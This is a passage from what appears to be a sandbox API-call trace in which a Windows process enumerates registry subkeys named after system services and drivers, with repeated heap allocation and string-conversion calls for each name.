(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0215.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.812] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0215.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.814] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0215.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0215.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.815] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bb0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 